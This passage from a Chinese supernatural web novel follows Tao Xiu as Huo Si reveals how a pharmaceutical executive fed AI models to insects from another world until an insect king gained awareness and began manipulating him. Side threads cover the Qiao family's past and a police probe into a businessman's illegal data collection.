如果真的是被造出来的,是被谁造出来的?目的又是什么? 这时周河走了进来,手中拿着一份新得到的资料,他将这份资料恭敬地放在老人面前,道:“蒋局,这是新查出的信息。是关于成杨身上的案底。” 成杨之前做那些灰色地带的生意时有过不少黑历史,也背过不少案底,只是最近几年他花钱公关掩盖了不少。 周河:“我认为其中重要的一条信息是,蒋局,您还记得人贩子吴非吗?十一年前他绑架了两位血型稀有的女士,他是通过非法手段买到了一批血型信息,才确定了这两个目标。” “当年警方自然彻查了这条线,相关人员也判了刑。刚刚我们调查发现,当年卖那些信息给吴非、事情败露后去坐牢的人,就是成杨。他似乎从那时候就开始非法收集人们的各类隐私和信息了。” 蒋周忙翻开那份新信息,手指“笃笃”敲在桌面,他眼神锐利地看向周河,问道:“成杨的科技公司产品大部分都是C端的,面向的是更广的人群。这些产品上架前,按照规定是必须要接受包括AI伦方面在内的各项审查的,审查结果都没问题吗?”如果成杨收集大量个人信息的行为一直持续到今天,通过这些产品是最方便的。 顿了下,他若有所思道:“而且,他儿子开的保险公司是通过电话兜售业务,也是需要大量的个人信息的。”这怎么看都不像巧合。 而这样一个人生轨迹处处透露着奇怪的人,和【游戏】又会是什么关系呢? 周河立刻解到,上司是在怀疑成杨这些年在利用更隐蔽的手段非法获取大量信息(但是对方收集这些信息的目的暂时未知),他的儿子成运只是这些信息顺道的受益者。逻辑其实非常通顺,但是…… 周河摇摇头:“他的公司和产品从来没有查出过问题,一次都没有。”这种审核不止一次,且是非常严苛的,如果存在问题,不可能查不出来。 周河:“至于他儿子的公司,财务税务等等问题太多了,我们的人还没来得及查他那边的数据来源。” 蒋周沉默半晌,沉声道;“要加紧查。”顿了下,他头疼地捏了捏眉心,道:“信息还是太少了。” 于是他直接命令道:“抓捕成杨后,连夜审。” 周河利落地道了声“是”后转身就要走,刚要踏出门,却被对方叫住了。 周河转身:“蒋局?” 蒋周像个长辈一般直视着他,声音温和又严厉:“是关于你报告的另一件事情。” “年轻人,那件事是机密,我已经打了报告上去。而你自己,要彻底忘记它。千万不要对陶岫口中另一个世界产生任何好奇和探索欲,更不要为此私自行动。” 因为,除了探索未知的本能外,人类必须时刻提醒自己从先祖继承的另一种本能。那就是:在打开潘多拉的盒子之前必须停下来。 周河一怔,还是道了声:“是。” …… 霞山。 霍斯并未使用瞬移,他提了盏用自己骨头与眼珠做出的灯,在夜幕里牵着陶岫的手悠闲地向山下走去。 心情已经彻底平静的陶岫:“不接着讲下去吗?”在那栋别墅时,霍斯说是25年前的他救了爷爷奶奶他们,但他根本没有相关记忆,那基本等于他还是什么都不知道啊。 霍斯握着青年的手一紧:“我讲。” 他确实不想青年知道更多信息,但是,他更知道,他的爱人是个独立的个体。 所以他一边拦截那个打进陶岫手机的电话,又自相矛盾地没有彻底毁掉那个电话信息。在动物园时感知到陶岫已经来到了那栋别墅,他也并未立刻赶过去阻止他。 他其实不怕青年知道世界的真相,他只是怕对方知道真相中微小的一部分。 之前不主动告知青年那些事情,本质上更像在拖延青年获得信息的时间。他其实也清楚,他的爱人有着那样明亮温暖又不息的灵魂,他是会为了他者勇敢地向前走的,他阻止不了他。 于是霍斯边把那“微小的一部分”藏得更深一些,边道:“亲爱的,我从最初开始讲起。后面再讲述你重要的家人如何在你的努力下得救。” 说罢还不等陶岫回复,霍斯便突然问道:“宝贝,在你作为人类长大的过程中,有做过类似于另一颗行星撞击地球的设想吗?” 陶岫一怔,摇了摇头。 霍斯看向他,猩红的眼珠在夜色里亮得诡异:“那么,我们来假设一下,如果现在有一颗比蓝星体积大得多、质量重得多的行星与蓝星撞击在一起,你认为两颗星球分别会怎样?” 陶岫的大脑难得茫然了一瞬:他知道只要霍斯想,他可以全知全能。但他确实第一次看到霍斯文绉绉讲话的模样。 还挺新鲜。 回过神来,陶岫:“会两败俱伤。但蓝星会被撞得更碎。” 霍斯:“如果那颗星球的一切维度都是最高的呢?比如和蓝星不同,它的存在和表现形式甚至脱离了重量、体积乃至星球这种物质本身。” 陶岫一怔:一边维度过高的话,撞击的形式自然也会彻底脱离低纬度世界的想象…… 霍斯:“你猜得不错,亲爱的,这样的两个世界撞击时是无法被人类世界的任何科技所认知与观测到的。大约30年前,蓝星和我们的世界有过这样一次撞击,正常来说,这种撞击会持续一年,对人类世界完全无害。” 两个世界各自的运行轨道在亿万年间有了唯一一次相交,所以有了这次撞击,在撞击发生时,两个世界会互相穿过再分离,互不干涉也互不影响,而下一次的交集是另一个亿万年之后。 在这个过程中,高维世界有吞噬低维世界的力量,但就像人类不会刻意伤害渺小的蜉蝣,祂们的世界自然也不屑去吞噬另一个世界。 而对人类来说,祂们的世界的表现形式无法被看到、捕捉和感知,和空气也没什么两样。 所以人类在撞击过程中不会有任何感知,而祂们如果是苏醒的状态,就能在那个过程欣赏低维世界每一个角落的美景。 陶岫震撼地听着这一切:“可现在——” 可现在已经过去了30年。还出现了诡异的【游戏】和虫子。而人类也【看到】了祂们,甚至被送到祂们的世界把祂们当成副本攻略…… 陶岫思索一瞬,问道:“你的意思是撞击没有正常结束?难道是因为那些虫子?那些虫子到底是什么?” 霍斯耸耸肩,先回答了青年最后一个问题:“这种高低维度之间的撞击当然会诞生新物种,那些虫子就是新物种。正常来说,它会进入两个世界并且被两个世界的规则束缚。” “它们会在高维世界作为渺小至极的低等生物活下来,而在更脆弱的低维世界里,它们则会很快被世界运行的规则彻底杀死——因为它们不具备智慧,也无法进入本土食物链的任意一环,自然会很快被淘汰。” 这是地球孕育出的自我保护,只要这条完美又脆弱的逻辑链静默地发生,这次的撞击就不会对两个世界产生任何影响。 “但是——”这时霍斯已经牵着陶岫来到了有人居住的那个别墅区的街道,这里建筑华美,灯光更加明亮,氛围安宁静谧,偶尔有富人悠闲地遛着大型犬经过。 陶岫环顾了下四周想,乔之安的父母似乎就住在这里。 他扶起一个因为追着伙伴跑得太急差点摔倒的小朋友,他疑惑地看向霍斯:“但是?” 光鲜的富人区里,霍斯猩红的瞳仁一如既往地平静而冷漠,仿佛就是在讲一个和自己完全无关的故事。 只有同青年对视时,他的瞳仁才会浮起静谧深沉的情感,他贴心地向青年解释道:“但是,30年前,一些人类因为贪婪,愚蠢地喂了它特别的东西,使得它具有了初步的智慧。” 陶岫蓦然睁大了眼睛。 第52章 陶岫自震惊中冷静下来:“什么东西?” 霍斯并未回答这个问题,只是道:“亲爱的,你有没有想过一件事,为什么那只藏在背后的虫子可以如此精准地挑选出被人类法律制裁过的罪犯?” 陶岫瞳孔一缩。 霍斯接着道:“宝贝,你一定清楚一件事,在人类世界中,犯了罪的人和罪犯完全是两个概念。” 陶岫立刻想到成运这样的例子,点了点头:成运是一个犯了罪的人,却逃脱了制裁,他从前的社会身份并不是罪犯。 所以,霍斯的意思是,【游戏】挑选的是罪犯,而不是犯过罪的人……这是【游戏】的能力吗? 霍斯仿佛知道青年在想什么,道:“不是它挑选了罪犯,而是它做不到筛选犯了罪的人类,只能做到挑选在人类的电子系统里登记在案的罪犯。” 毕竟那只虫子除了某两项能力外,其他能力实质上都非常拙劣。 陶岫立刻抓住了关键词,他微微皱了眉:“电子系统?” 霍斯:“是的,亲爱的,那只虫子本质上一共具备两项缺陷较少的能力。其中一项是可以链接人类世界的电子线路。它就是通过人类的电子系统得到了罪犯的信息。” 至于另一项能力……不知想到什么,霍斯猩红的瞳仁蓦然冰冷一瞬,看向陶岫时却愈发心疼。 陶岫的大脑因为那些太过突兀的信息正在高速运转着,他并未注意到霍斯的神色,只是追问道:“和你控制我手机电脑的能力类似?” 这才知道自己早就被抓包的霍斯:“……” 他难得尴尬地轻“咳”一声,接着面上却露出些许傲慢的不屑;“当然不一样。宝贝,只要我想,这个世界所有的电子线路会在最小的时间单位内陷入彻底瘫痪,而我能做到的远远不止这些。” “至于那只卑劣的虫子,它只是能链接人类的电子线路罢了。”霍斯因为在自己最爱的人那里受到了巨大的侮辱,难得幼稚地继续攻击一只虫子:“而且那只虫子还需要被人工喂大量数据,才能实现进化,而我的能力是天生的——” 陶岫的脑回路完全在另一条线上,他利落地打断对方:“喂数据?” 他怔怔地眨了下眼:具备智慧、可以任意链接人类的电子线路、进化过程中需要被喂数据…… 如果不是知道霍斯描述的是一种被人类喂了某种东西获得了智慧的虫子,他会觉得霍斯在说具备了自主意识的AI……在人工智能技术不断实现突破的当下,这算人类潜意识中最深的恐惧了…… 陶岫想得愈发入神,霍斯干脆牵着陶岫的手坐在一处公共草坪的长椅上,而对面就是乔栋的别墅。 霍斯看似无意地瞟了眼那栋别墅的灯光,才将大手轻轻贴在青年的前额上:“宝贝,这样更方便你解。” 陶岫回过神来一怔,这是霍斯的某种能力,最近使用的一次是在霍斯沉睡中唯一苏醒的那一次,他让自己解了玩偶霍斯在酒店到底做了什么。 于是陶岫轻轻闭上了眼睛,毫不设防地接受着霍斯给他的信息,在这个过程中,他轻而易举解了30年前到底发生了什么…… …… 30年前,两个世界撞击后诞生的新物种很快被一家大型生物医药公司发现并带进了实验室。 公司决策人与实验员都非常兴奋:因为他们发现,这种虫子非常特别,它虽然拥有进食器官、消化器官与生|歹直|器官,但却根本不会使用那些器官,就连使用那些器官的本能都没有。 那些虫子看似是生物,却更像石头那样的非生物,它们不具备进食在内的任何行为,而一般虫类的天敌也并不食用它。如果能研究清楚这种虫类的生存逻辑并进行开发,他们很可能会颠覆整个行业。 负责人对这种新发现非常重视,亲自为那个实验室下拨了大量资金和当时最先进的研究设备,并且直接成为了实验室的直属负责人。 研究过程进行了很久,也非常顺利,却没出任何成果,因为实验员最终发现,在生物医学领域,这种虫子无法被研究和开发。 这种虫子的一切特质就只是特质本身,他们只能观察特质产生的结果,而无法追溯产生特质的原因:比如,无法进食,它们会饿死。无法交|pei|生|歹直|,它们就不能产生后代。(所以它们会很快灭绝) 但是,研究员研究不出它们为什么不进行上述那些行为,甚至找不出它的进化轨迹。 就好像……它是突然出现在这个世界上的一样。 与此同时,研究员也发现,这种虫子在生物医学领域没有任何开发价值,没办法给公司带来任何利益。 企业的存在就是为了逐利,这种虫子无法为公司提供利益,便不再对公司有价值。 公司决策人立刻决定砍掉这类虫子的一切开发,并决定同时关停那间实验室裁掉那些研究员。 只是在这个决策下发前,实验室里突然有了一个惊人的发现—— 一个研究员因为操作不当,致使实验室里包括人工气候箱在内的所有电子设备发生了漏电及电路短路问题,所幸其他工作员抢救及时得当,各类昂贵仪器看似没有受到太大影响,只是气候箱漏电最为严重,研究员们遗憾地认为,那些本就已经死掉很多的虫子这次应该全军覆没了。 但诡异的是,那些虫子仍然活着…… 更诡异的是,他们发现,这间实验室里所有的仪器中用来分析模拟数据的人工智能模型连带着数据全都消失了……甚至连低端的扫地机器人也发生了故障,完全不能用了。 人工智能那时已经开始发展,并开始应用于一些行业,生物医药行业就是其中之一。 这些人工智能模型是他们的实验室和其他几个实验室共同使用的,其中储存的数据不仅包括关于这次虫子的,也包括其他动植物乃至真菌细菌的历史数据。但现在,它们全都消失不见了。 这算是十分严重的实验事故,他们立刻向直属上司,也就是公司的决策人打了报告并忐忑地等待处分。 只是诡异的事情还未停止,又过了一天后,研究员们惊悚地发现……虫子们突然开始具备进食功能了…… 它们就像一些细菌与真菌一样,在互相吞噬……培育箱里到处都是虫子的尸体和在尸体碎块中蠕|动进食的活虫,整个实验室都是那些虫子进食时发出的窸窸窣窣的诡异声音,让人寒毛倒竖…… 那种场景实在太过诡异恐怖,一个胆小的研究员当场吓得叫出声…… 当天,公司决策人将实验室负责人叫到了办公室,仔细询问过情况后,便以事故为由裁掉了一整个实验室的人,公司表示不对这次事故追责,但没有任何离职赔偿,而且他们离开时需要签订一份比入职时更加严苛的保密协议。 所有人权衡利弊后,都接受了这种处方式,并在保密协议上签下了名字。 他们离开时认为,那些诡异的虫子既然没有任何开发价值,又如此可怕,决策人应该会立刻上报并及时销毁样本。 可是,在他们离开后,决策人并未上报,他隐瞒了虫子的一切,并且秘密调整了研究方向并投入了比从前更多的资金与资源,他秘密组建了更加高级的研究员团队,便开始关注人工智能方向的研究。 在试验过他猜想的研究方向为正确的之后,他很快将新团队投入到新的研究里。 决策人新的研究方向是:这类能够通过吞噬人工智能不断实现进化的虫子,最终到底能进化到什么程度,它的智慧最终是否会突破生物的极限。而这种突破了与AI界限的进化,又是否能作用在人体上。 这是一种有违科学伦又危险至极的疯狂研究,人类就像正在打开潘多拉的盒子,其中的机遇不可估量,但后果或许也不可承担,自然有受不了良心谴责的人站出来。 新团队中,有个资历很深的研究员,算是整个公司研发方向的负责人,他和决策人一起创业,几乎是决策人在公司中最信任的存在。 之前针对那种虫子的开发他并不感兴趣,老板又亲自负责那个实验室,他便没有再过问。出现那次实验事故后,他也不知真正的内情,只是觉得造成了那样严重的数据遗失,老板作为决策者,对那群员工的处方式未免太仁慈。 而这次,他被选入了新团队并成为了团队的带头人,他被决策人告知了这个疯狂的研究计划并被许诺了几乎让人无法拒绝的财富。决策人告诉他,他们将一起改变整个世界。 研究员辗转反侧了一晚上,在背叛朋友与背叛良心中选择了前者。 第二天,他第一个进入了那间实验室,销毁了所有的虫子样本和新得到的实验数据,接着,他去了决策人的办公室,提出了离职…… …… 陶岫这时依旧闭着眼,眉头却微微皱起来。 他缓缓抬起手臂,握住了霍斯覆在自己前额的手,接着轻轻移开一些。 陶岫睁开眼睛不可置信地看向霍斯,有点恍惚地道:“那、那个销毁实验数据的研究员,是、是乔伯父?!” 他在乔之安家见过他父母年轻时的结婚照,所以认出中年时期的乔栋自然不会太难。 但是,乔伯父竟然这么早就知道虫子的事情? 霍斯顺势温柔地轻抚着青年的脸颊,他道:“亲爱的,这就是我在沉睡前选中他关照你的原因。” 他沉睡前去和特别行动局签订了协议,那时乔栋只是恰巧旁观。但后来,他又和对方单独见过一次面,命令对方在他沉睡时关照陶岫。 那个人类本来就是和虫子相关的核心关系人,又拥有这个世界稀缺的财富和权力,他最知道该怎么用人类的方式最好地关照陶岫。 另外,乔栋心机深沉也不算严格意义上的好人,但是,他总是能在关键时刻做出守住底线的选择。 太多的信息让陶岫揉了揉眉心,他苍绿的眼眸却分外清明,休息一会儿后他正要握着霍斯的手重新贴上自己的眉心,霍斯却一把揽住他,道:“亲爱的,我们现在回家吃饭休息后,我再继续讲给你听,好么?” “而且你不想念我们的小家伙儿吗?” 陶岫一怔,眼神瞬间变得柔软起来:或许是短时间里接受了过多的信息,他觉得自己简直有一百年没见过陶星星了。(虽然实际上只有一下午) 霍斯一说,他真的突然好想念那个乖巧又可爱的小星星…… 第53章 此时的乔家别墅。 乔之安正和父母一起吃晚饭。 自从独立之后,他每周都会回次家陪父母吃顿饭,工作忙忘记时,父母还会特意提醒他。 这两年他们一家三口一起吃饭的氛围向来不错,只是他父亲偶尔还是会提起那些老生常谈的话题,就比如现在—— 乔栋看向坐在手边的儿子,道:“还是想继续当医生?还是没改想法?” 乔之安抽了抽嘴角“嗯”了声。 乔栋感叹:“人家别的年轻人现在都想躺平生活,你倒好,有好好的公司不继承,什么行业苦你往什么里面钻。而且你不想进公司就算了,也不想在自家医院待,听院长说,你又提了离职想跳槽。你怎么就不能跟跟现在人家年轻人的潮流,躺平点呢?” 乔母优雅地吃着菜,闻言在桌下踹了脚乔栋的腿。 乔之安吃好饭放好碗,直视着自家老爹,毫不客气地挑了眉道:“爸,现在年轻人不得不躺平呢,有个重要原因是环境太差,你们这些资本家又压榨他们压榨得太狠,大家只能通过这样的方式消极抵抗。你应该为此感到愧疚。” “当然呢,我这立场说这话有虚伪又吃了饭砸锅的嫌疑,我也没高尚到为了改变这些去大开大合地做点什么。” 他有些无奈地道:“爸,人再有钱有地位也只能活上一辈子,我只是想自力更生实现点我自己认可的人生价值罢了。” 乔栋一怔,半晌才失笑道:“好好,我这个老头子以后不唠叨你了行了吧。” 乔之安心里吐槽了句‘谁信啊’,他道:“吃好了我先回房间了,明天早上走。” 乔母温和地“哎”了声,乔父却叫住了儿子。 乔之安转身,乔父温和又严肃地看着他,道:“之安,你现在要待在家里的医院,不能跳槽去别的地方。”顿了下,他有点无奈地补充道:“至少现在不能。” 乔之安不解:“为什么啊?什么时候能?” 乔父:“原因不能告诉你。至于什么时候能……可能要等到你和陶先生告别的那一天。” 乔之安瞳孔一缩,脸上浮出些混着震惊的茫然:“您说、什么?”为什么他要和陶岫告别,就算他不能和陶岫在一起,他们也会是一辈子的朋友啊。 而且他跳槽这件事和陶岫有什么关系。 乔父笑了笑:“我也是猜的,再多的涉及官方机密,不能告诉你。回房间吧,好好休息。” 乔之安回过神来,平静地看了父亲半晌,才转身向楼上走去。 等人离去,乔母才看向乔父,她不知想起什么,笑了下问道:“如果30年前的你知道当时的选择引起的蝴蝶效应会在很多年后差点害死小安,你还会那么做吗?” 乔栋思索一瞬,在爱人面前承认了自己的自私,他很坚定地摇了摇头:“不会。”他拉住乔母的手长叹了口气:“我没有那么高尚啊,老婆。” 如果回到当年,他会选择直接和那个人分道扬镳带着妻子家人离开A市,去另一座城市创业,再也不和对方、不和那件事扯上一点关系。 他不会去毁掉那些实验数据和样本,也不会去直接报警。 因为,他那样做了之后,公司与那个人被调查和处罚,实验团队解散,实验在明面上也确实停止了。 那之后又过了几个月,那家公司整改完成实力大减,那些实验室之外的野生虫子也越来越少,甚至濒临消失。 他那时彻底和那个人反目成仇,却觉得自己至少算是做了件好事,为人类压上了潘多拉的盒子——同样不是因为他多高尚,而是因为,他是群体的一份子,绝对无法在这种事件里独善其身。 在之后的五年里,他和妻子成立了新的生物医药公司,继续做着这个方向的生意。公司稳定后,他们还有了乔之安。 而那家公司算是乔氏的竞对,在这五年发展得平平无奇,甚至在走下坡路,那个人依旧是在公司有着绝对话语权的决策人,他鲜少露面。 乔栋那时彻底放下心来,甚至有再发展几年就收购那家公司的想法——他是个商人,为了安全和利益,他当然不会把和自己有仇的前合伙人留在这个行业里。 但是,他离职成立乔氏的5年后,也就是距今25年前,一件惊悚的事情发生了…… 那年,在A市那场死了人的3级地震发生后,那家公司和所有员工、还有那个人凭空消失了……一起消失的还有那些虫子和大部分关于虫子的报道…… 当然,并不是彻底消失,他能找到不少关于那些的零零星星痕迹:比如公司大楼不见了,他却能找到当年公司被处罚的记录;比如那些失踪的员工在当年是作为一起严重的社会事件被报道,包括员工家属在内的人们都认为他们都是失业人员莫名在城市中走失,彼此互不相识,线上也查不到他们的社保公积金记录,家属也不记得亲人在这家公司上过班,但是,却有不少家属找到了失踪亲人的工牌…… 乔栋那时觉得,那些东西系统性的存在好像消失了…… 能完整记得所有事情的好像只有他和他的妻子…… 再后来,连这起失踪案的影响力都在莫名其妙地消失,人们对那家公司相关的一切事情的记忆好像都在渐渐变得模糊。 那年的时间线是:3级地震发生并有不小伤亡——地震约一个月后,那家公司大楼、员工,还有那个人凭空消失——地震约三个月后,A市关押重刑犯的监狱里,突然失踪了18个重刑犯,剩下的2个死在房间里。 蒋周在重刑犯失踪后成立了特别行动局。 但是……就连蒋周,都只记得那次地震和消失的重刑犯,而不记得中间还有一家公司和许多人如此诡异地消失。 那时的乔栋隐隐觉得,这一切一定都和那个人与那些诡异的虫子有关,刚有了孩子的他那时涌起一种强烈的不安感,所以在特别行动局成立之初,他就开始为那里提供无偿资助。 在比他更勇敢也更有人情味的妻子的决定下,他们夫妻在特别行动局成立之初,就曾放下过利益,冒着被怀疑和审视的风险和蒋周那边共享过这些信息,但是……没有人能记住他的讲述,包括蒋周和记录的摄像机。 他最后只能放弃。 那时他才隐隐懂得,这是那个人对他和妻子卑鄙又恶劣的惩罚。那个人似乎不想背叛者死,只想他们在长期的恐惧中痛苦发疯。 而他对那个人和那些虫子的强烈不安也在十一年前得到了回应,他们那时即将收养的李行背叛了他们,狠狠在他们这个家捅了一刀——他真的差点害死乔之安。 如果不是遇到陶岫,他们的孩子当年就真的死了。 即使绑架已经过去很久,乔之安依然深受影响,他曾经是个有过很多朋友、性格骄傲又开朗的孩子,可经过那次折磨后,他心防很深,性格内敛,厌恶交际,几乎只有陶岫一个朋友。 就是因为陶岫对乔之安太重要了,所以当年他才会回护陶岫,因为他知道,不这样做他那时出现严重心问题的儿子真的可能会死。 那时金色传说小区一夜之间焕新,没有人知道发生了什么,当然也有专业的调查组进行调查,但毫无头绪。 他和妻子其实怀疑过和陶岫有关,但却选择了隐瞒和保护。他的人生似乎总是要面临选错了就要掉下深渊的选择,所幸,大部分都选对了。 而他也没有实际证据是那个人蛊惑了李行做出这种事情,但是,他对此有强烈的预感…… 而这种报复或许还在继续——比如他到现在也无法分辨,当初【游戏】要将副本降临到他们家的酒店,到底是李行的意志,还是有另一种意志的影响。 所以在那位霍斯先生解决完整个事情前,他不会放乔之安真正离开这个家的掌控。 乔母这时问道:“你刚刚和小安说,他或许会和小陶分别,是什么意思?” 乔栋笑了下,道:“特别行动局从陶先生那里新得到的信息是,”说着他踩了踩地面,道:“陶先生在陶家那栋别墅的地下看到了另一个世界。我想,如果有解决【游戏】的一天,这两个世界迟早也会分开的。” 乔栋遗憾地叹了口气:“我猜,等那一天到来,陶先生或许要做出一个选择。” …… 金色传说小区。 洗完澡出来站在窗边的陶岫:“阿嚏” 小八跑过去贴心地将一张毯子递给他:“不要感冒了哦。” 陶岫弯了眼眸接过,温和地道了谢。 客厅里温馨又静谧,只有他们两人和陶星星。刚刚他和霍斯回来时,希望酒店那两兄妹已经等在家里,霍斯便将他们和竺都带到了书房,只是向他保证讨厌的工作结束后就会接着把那些讲给他听。 小八这时眨了眨眼,好奇地问道:“小陶哥,你在看什么?” 陶岫摸了摸鼻尖:“在看窗子。”这是他用能力改造过的窗子,已经很久没有玩家进去过了。 或许即使在同类之中,他也属于比较弱小的那类存在,他的能力在这个小区几乎用完后,在外面就会变得很鸡肋。 如果能够再强大点就好了……或许,他就能像那对兄妹一样帮上霍斯什么忙,为这个世界做点什么。 陶岫不会被消极情绪困扰太久,他敲了下脑袋很快把那些情绪赶出大脑,接着他放轻步子走向沙发旁的婴儿床,温柔地抱起里面又软又暖的可爱婴儿。 陶星星此时已经睡熟了,他整整一下午都很想念陶岫,这时终于被青年抱起,陶星星下意识满是眷恋地往青年的怀抱深处贴去,小小的可爱的鼻尖动了动,睡得更熟了。 小八这时凑过来,轻声道:“小星星今天下午一直往窗外看哦,他真的很想你。”可是小朋友超级乖巧,不哭也不闹,被他们逗时也会回应,他会眨巴着大眼睛安静地笑得很甜。可他们谁都能看出来,他好想妈妈。 陶岫心里软得一塌糊涂,他轻声对女孩儿道:“谢谢。麻烦你们了。” 小八笑得眼睛很亮:“不客气哦。我们都很喜欢你和小星星。小陶哥和小星星都晚安~” 说罢她便跑进了卧室。 陶岫看着女孩儿的背影,温柔地弯了眼眸,接着他抱着陶星星走向杂物间的门。 霍斯还在书房工作,陶岫便自己上了床,他并未把陶星星放在床边的婴儿床,而是把他轻轻抱在自己的怀抱里,他侧着身,温柔地注视着自己怀里的孩子,喃喃道:“小星星怎么这么棒啊,离开我们这么长时间也这样乖。” 顿了下,他柔软纤长的指轻轻点了下陶星星的鼻尖,闭上眼睛道:“抱歉啊,离开你这么久……以后再也不会了……” 第54章 第二天是冬季难得的好天气,午后,竺和小八推着陶星星出门晒太阳,霍斯则将一杯热茶放进陶岫手里,坐在他身边,准备继续为他“讲述”当年那些所谓的真相。 陶岫双手交叠握着那杯热茶,问道:“在你讲之前,我有个疑问。” 霍斯微笑着回应他:“请问。” 陶岫:“你说过,那些虫子如果不具备智慧,就只会是虫子,它们会因为在蓝星食物链里找不到自己的位置很快灭绝。” “但我从你为我重现的情景里发现一件事,那些虫子其实天然拥有许多能力,只是因为它不具备智慧,所以无法开发、或者觉醒这些能力。” 比如它其实有完整的进食消化器官,但它不具备智慧去意识到这件事,所以不具备进食能力,只能饿死。人类阴差阳错为它打开了“基因锁”的开关后,它开始有了“吃”的能力(虽然是停在吞噬同类的野蛮阶段)。 吃、喝、繁殖,基本还算在正常范畴内的能力。 但吞噬消化AI这种能力就一下子脱离了正常的范畴,让它变得惊悚起来…… 那么…… 陶岫微微皱着眉,若有所思地问道:“除了吞噬消化AI,它还天然具备别的超出这个世界认知与控制之外的能力吗?” 这个问题的延伸是,那些虫子、也就是现在的【游戏】所拥有的一切能力本质到底来自哪里? 霍斯闻言瞳孔一缩,他一边为青年的聪敏而骄傲,一边紧张地暗自摩挲了下食指——这个问题离他不想让青年知道的部分很近很近。 久久没有听到回答,陶岫伸手在男人面前晃了下:“霍斯?” 霍斯回过神来看向他,微笑依旧深情而完美,他道:“它天然只具备两种能力的潜能,一种是通过不断吞噬人类创造出的人工智能并与它们实现同化。”所以它可以链接人类世界的电子线路。 “另一种是、空间。” 陶岫瞳孔一缩。 霍斯伸手抚上青年美丽白皙的脸,红眼珠里满是心疼:“宝贝,你有没有想过,为什么你的能力只是重建了一个巴掌大的地方就几乎全部用完了。” 陶岫呼吸一滞,面上浮出一瞬空白的茫然:他以为是因为他生来拥有的能力很弱小…… “不,亲爱的,”霍斯一下子看透自己的爱人在想什么,他的大手顺着青年的脸颊向耳侧游离,最终有力地扣在青年的后颈,他道:“和那只卑鄙的虫子拥有的微末之力不同,你本来的力量很强大。” “强大到,只要你想,就可以永远把两个世界卡在这次撞击里。” 陶岫蓦然睁大了眼睛,怔在那里回不过神来。 霍斯心疼地将青年揽进怀里,陶岫却很快冷静下来,他握起男人的指利落地贴在自己前额,他美丽的苍绿眼眸里满是坚定:“继续讲给我听吧。” 霍斯无数次为怀里青年悸动的心脏再次过速跳跃起来,他将一个吻映在青年的额角:“好。” 力量在霍斯的指尖孕育,陶岫缓缓闭上了眼睛…… … 30年前开始研究虫子的那家生物医药公司叫【美好】生物制药有限公司,公司的实际控股人及决策人叫方子青。 乔栋报警后,【美好】公司被介入调查整改,之后,明面上看非法实验已经停止,但实际上,疯狂又贪婪的方子青只是将实验转移到了秘密建成的地下实验室,他认定这是他改变整个世界的契机。 那时外面的野生虫子其实没多久就灭绝了,但在乔栋毁掉实验室的那些样本后,野外那些虫子真正灭绝前,方子青已经从外面偷偷进了一批虫子,他把它们藏了起来,躲过了前来调查的人。 接着,他用高价买来的无数人工智能模型喂了那些虫子整整五年,甚至为那些虫子植入了芯片。在这个过程里,他发现,当虫子在AI的喂养下逐渐变得聪明而具备逻辑思维能力时,它们不在同类相食,但惊悚的是,他们开始试着食用同类以外的所有生物,有一次甚至差点咬掉实验员的手指。 再后来,那些虫子进化到表现出了社会性,虫子中出现了可以指挥控制别的虫子以及繁衍后代的虫王,普通虫子开始将食物及通过特殊电路输送进培育箱的AI优先喂给虫王。虫王的身体和大脑发育得越来越大,繁育的后代也越来越多。 也就是在这个时候,虫子们在虫王的指挥下,通过刻意挑选识别喂给它们的人工智能模型中的信息种类,开始正式【认知】喂养它们的生物——人类。 喂养虫子五年后的一天,方子青照常来到他的地下实验室去观察那些虫子的状态,长宽5米高2米的正方体透明培育箱里,几乎一半空间都已经填满虫王的身体。 方子青此时已经陷入了癫狂状态,公司下坡路走得越来越狠,原来拿下的市场一大半都被别的竞争对手瓜分了,内部的各项政策越来越让员工难以忍受,几乎每周都有不少员工离职。 但方子青不在乎,他有预感,他改变世界的契机就快来了。 就是在那天,虫王蠕动着庞大可怖的身体来到玻璃前,它睁着巨大诡异冰冷的青色复眼同方子青对视。 那一瞬间,人类本能的恐惧使得方子青下意识后退几步,一旁的观察员更是吓得差点尖叫出声。 但很快,方子青的心脏兴奋过度地跳跃起来:这只虫子现在已经具备了自主意识! 他成功了! 就像人们开发各种类型的AI时一定会留后门,他喂给那些虫子AI自然也有控制它们的方法。 方子青垂下的手紧紧握在一起,冷静克制的外表下,眼睛已经兴奋恐惧得发光,他正要走近一步看看他造物的成果,一道空灵诡异得仿佛AI的声音在玻璃箱里响了起来:【你想得到更多力量吗?】 方子青不可置信地睁大了眼睛:那只虫子在通过震动自己的口器中的尖锐牙齿与腹部的呼吸口模仿人类的语言与声音! 它竟然已经进化到这种程度……看来之后要控制AI和食物的投喂量,他不能让它变得脱离他的控制。 这时,虫王却主动压低了身体,像是匍匐在方子青脚下,它的声音依旧冷漠诡异,却模仿着人类的低伏口吻,造成一种特别的蛊惑人心的效果:【我的主人。】 【你想得到神明的身体和力量吗?拥有那样的身体和力量,你动动手指就能得到想要的一切……】 【我的主人,我会帮你。所以,你要喂我更有营养和更具智慧的东西……】 它像魔鬼一样在蛊惑人心。 这样说着,它一只可怖的腹足轻而易举将培育箱的玻璃戳了个大洞,随着哗啦啦的玻璃碎开,方子青一旁的研究员屁滚尿流地逃向外面,无数虫子却已经从那个大洞涌出、很快在可怖的惨叫声里将那个研究员啃噬得只剩头发和一地碎指甲。 方子青身上溅满了血,他彻底僵在那里无法动弹,他的耳边嗡嗡作响,他接受的高等教育和学到的专业知识告诉他,事情失控了……他现在应该立刻逃跑并采取相关措施——当初为了以防万一,这个实验室和虫子身上都有自毁系统,而控制器就在他身上—— 虫王近乎甜美的声音却又响了起来:【主人,我做的一切都是为了你服务……】 说话间,方子青鼻梁上的眼镜滚落到地上,他震撼地发现……他从少年时期就近视的眼睛……竟然重新变得清晰起来…… 这是多么绝妙的力量,有这样的力量,他是不是就不再惧怕人类面临的各种疾病,之后他是不是甚至可以获得永恒的生命…… 贪婪的方子青彻底踏入了深渊 而虫王也并未告诉他,那不是什么治愈力量,只是一个用微薄的【空间】力量变出的“小魔术”,原就是AI传送给它们的信息中人类近视眼的手术。 不知过了多久,方子青听到自己疯狂又颤抖的声音响起来:“我答应你,我之后会喂你更有营养的东西和更多先进的AI模型……”他有一整个公司的“食物”可以喂养他的秘密武器…… …… 又过了段时间,吞掉了大部分地下实验室秘密招来的研究员后,进化得更加完全的虫王告诉了方子青一部分两个世界的秘密。 它告诉对方,哪怕不必吞噬那些在另一个人类看不到的世界里沉睡的神明,只是接近祂们,它就能实现更加不可想象的进化,方子青也能从那些神明那里获得无穷无尽的益处。 